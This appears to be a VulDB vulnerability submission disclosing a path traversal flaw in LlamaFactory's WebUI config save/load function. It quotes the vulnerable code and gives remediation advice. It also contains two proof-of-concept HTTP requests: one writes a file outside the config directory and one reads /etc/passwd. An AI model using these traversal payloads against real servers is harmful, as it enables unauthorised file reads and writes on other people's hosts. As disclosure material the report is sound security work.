Submit #1055908: hiyouga LlamaFactory <= 0.9.6 (main branch) Path Traversal in Config Save/Loadinfo

Titlehiyouga LlamaFactory <= 0.9.6 (main branch) Path Traversal in Config Save/Load
DescriptionDescription: The WebUI’s save/load config function uses a user-controlled config_path parameter directly concatenated with DEFAULT_CONFIG_DIR. No path normalization or directory confinement check. Attackers can use ../ sequences to escape the designated directory, achieving arbitrary file read/write on the host server. Problematic Code: File: src/llamafactory/webui/runner.py:501, 509 # 保存配置 (第 501 行) save_path = os.path.join(DEFAULT_CONFIG_DIR, config_path) save_args(save_path, self._build_config_dict(data)) # 加载配置 (第 509 行) config_dict = load_args(os.path.join(DEFAULT_CONFIG_DIR, config_path)) Path Traversal Verification config_path: '../../../tmp/evil.yaml' joined: llamaboard_config/../../../tmp/evil.yaml real: /home/user/Doubao/tmp/evil.yaml safe: False ← 成功跳出目录! Burp POC 1: Save the settings and write to a file outside the directory POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json { "session_hash": "aaaaaa", "fn_index": 12, "data": [ "../../../tmp/llama_pwn.yaml", {"model_name": "test-model", "batch_size": 4} ] } Effect: Write the YAML configuration content to /tmp/llama_pwn.yaml Burp POC 2: Load configuration, read any local file POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json { "session_hash": "aaaaaa", "fn_index": 13, "data": [ "../../../etc/passwd" ] } Remediation: Use os.path.realpath() to normalize the final path Enforce that the final path must be a subdirectory of DEFAULT_CONFIG_DIR Filter out ../, absolute paths, and other special characters, allowing only plain filenames
Source⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-h448-p698-4q2g
User
 Anonymous User
Submission10/25/2026 02:22 (1 month ago)
Moderation11/24/2026 09:52 (1 month later)
StatusAccepted
VulDB entry442772 [hiyouga LLaMA-Factory up to 0.9.5 WebUI runner.py save_args/load_args config_path path traversal]
Points20

Do you need the next level of professionalism?

Upgrade your account now!